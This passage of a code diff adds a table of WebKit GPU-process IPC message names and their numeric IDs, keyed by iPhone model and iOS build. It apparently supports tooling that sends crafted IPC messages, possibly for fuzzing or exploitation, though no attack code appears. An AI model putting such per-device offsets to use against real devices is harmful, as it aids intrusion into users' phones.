RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone11,2_4_6_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone11,6_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + +"iPhone11,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone11,8_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone12,3_5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone12,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone12,8_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + 